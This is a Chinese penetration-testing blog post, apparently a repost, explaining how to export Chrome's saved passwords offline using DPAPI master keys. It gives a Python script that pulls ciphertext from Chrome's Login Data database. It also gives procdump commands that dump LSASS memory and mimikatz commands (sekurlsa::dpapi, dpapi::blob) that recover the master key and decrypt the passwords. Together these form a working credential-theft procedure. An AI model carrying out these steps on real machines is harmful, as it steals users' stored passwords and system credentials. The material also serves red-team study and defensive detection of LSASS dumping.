渗透技巧——利用 Masterkey 离线导出 Chrome 浏览器中保存的密码

发布于 2025-01-13 08:44:53 字数 4256 浏览 2 评论 0

0x00 前言

在之前的文章 《渗透技巧——离线导出 Chrome 浏览器中保存的密码》 曾得出结论: 使用用户的 ntlm hash,无法导出 Chrome 浏览器保存的明文密码

而目前的 Windows 系统(如 Windows Server 2012),默认无法导出用户的明文口令,只能获得 ntlm hash。

也就是说,即使获得了系统的访问权限,如果无法获得明文口令,通过文章 《渗透技巧——离线导出 Chrome 浏览器中保存的密码》 介绍的方法还是无法离线(但可以在线) 导出 Chrome 浏览器保存的明文密码。

本文将要介绍一种新方法,利用 Masterkey 离线导出 Chrome 浏览器中保存的密码,不需要获得用户的明文口令,并且得出新的结论。

0x01 简介

本文将要介绍以下内容:

  • 基础概念
  • 解密思路
  • 导出方法
  • 实际测试

0x02 基础概念

  • DPAPI:全称 Data Protection Application Programming Interface
  • DPAPI blob:一段密文,可使用 Master Key 对其解密
  • Master Key:64 字节,用于解密 DPAPI blob,使用用户登录密码、SID 和 16 字节随机数加密后保存在 Master Key file 中
  • Master Key file:二进制文件,可使用用户登录密码对其解密,获得 Master Key

0x03 DPAPI 解密思路

1、定位加密的 Master Key file

文章 《渗透技巧——离线导出 Chrome 浏览器中保存的密码》 曾得出结论: 无法定位解密 Chrome 数据库对应的 Master Key file

该结论有误,实际上能够对其定位,方法见 0x04

2、从 lsass 进程提取出 Master Key

此处换了一种思路,因此不需要用户的明文口令

注:离线从 Master Key file 提取出 Master Key,必须要获得用户的明文口令

3、使用 Master Key 解密 DPAPI blob,获得明文

0x04 实现方法

测试系统:

Win7 x86

1、使用 python 读取数据库文件并提取出密文

使用 python 脚本读取 Login Data 并保存到文件中,代码如下:

from os import getenv
import sqlite3
import binascii
conn = sqlite3.connect("Login Data")
cursor = conn.cursor()
cursor.execute('SELECT action_url, username_value, password_value FROM logins')
for result in cursor.fetchall():
    print (binascii.b2a_hex(result[2]))
    f = open('test.txt', 'wb')
    f.write(result[2])
    f.close()

脚本执行后,提取 Login Data 中保存的密文,保存为 test.txt

2、获得该密文对应的 Master Key file

mimikatz 命令如下:

dpapi::blob /in:test.txt

获得对应 guidMasterkey 为 {a111b0f6-b4d7-40c8-b536-672a8288b958}

如下图

Alt text

即 Master Key file 的路径为 %APPDATA%\Microsoft\Protect\%SID%\a111b0f6-b4d7-40c8-b536-672a8288b958

3、从 lsass 进程提取出 Master Key

(1) 在线方式

需要管理员权限

mimikatz:

privilege::debug
sekurlsa::dpapi

如下图

Alt text

提取出 Master Key 为 666638cbaea3b7cf1dc55688f939e50ea1002cded954a1d17d5fe0fbc90b7dd34677ac148af1f32caf828fdf7234bafbe14b39791b3d7e587176576d39c3fa70

(2) 离线方式

使用 procdump dump 出 LSASS 进程内存

procdump 下载地址:https://docs.microsoft.com/zh-cn/sysinternals/downloads/procdump

管理员权限:

procdump.exe -accepteula -ma lsass.exe lsass.dmp

使用 mimikatz 加载 dmp 文件:

sekurlsa::minidump lsass.dmp
sekurlsa::dpapi

注:mimikatz 从 lsass 进程提取出 Master Key 后,会自动将 Master Key 加入系统缓存

4、使用 masterkey 解密

mimikatz:

dpapi::blob /in:test.txt

成功获得明文,如下图

Alt text

数据正确,如下图

Alt text

0x05 利用分析

本文介绍的方法是利用 lsass 进程还原出 Master Key,因此不需要获取到用户的明文密码

同时,配合 procdump,不需要在测试系统上执行 mimikatz,只需要获得目标系统的两个文件:lsass 进程的 dmp 文件和 Login Data 文件,在本地使用 mimikatz 还原出 Master Key,解密获得明文

并且,不需要从 System 权限降权到当前用户权限

综上,离线导出的完整思路如下:

1、获得用户系统 Chrome 保存密码的 SQLite 数据库文件,位于 %LocalAppData%\Google\Chrome\User Data\Default\Login Data

2、获得 lsass 进程的内存文件

3、在本地使用 mimikatz 提取 Master Key,解密 Login Data 获得明文

0x06 最终结论

1、能够定位 Master Key file

方法 1:

mimikatz 命令:

dpapi::blob /in:test.txt

方法 2:

通过读取文件 Preferred 的前 16 字节获得对应的 Master Key file

2、不需要用户明文口令也能离线导出 Chrome 浏览器中保存的密码

0x07 小结

本文介绍了如何利用 Masterkey 离线导出 Chrome 浏览器中保存的密码,相比于之前的方法,更加通用。

如果你对这篇内容有疑问,欢迎到本站社区发帖提问 参与讨论,获取更多帮助,或者扫码二维码加入 Web 技术交流群。

扫码二维码加入Web技术交流群

发布评论

需要 登录 才能够评论, 你可以免费 注册 一个本站的账号。
列表为空,暂无数据

关于作者

冰雪之触

暂无简介

文章
评论
27 人气
更多

推荐作者

mb_TnrMmzAf

文章 0 评论 0

_1999

文章 0 评论 0

grace999

文章 0 评论 0

混浊又暗下来

文章 0 评论 0

像极了他

文章 0 评论 0

情何以堪。

文章 0 评论 0

    我们使用 Cookies 和其他技术来定制您的体验包括您的登录状态等。通过阅读我们的 隐私政策 了解更多相关信息。 单击 接受 或继续使用网站,即表示您同意使用 Cookies 和您的相关数据。
    原文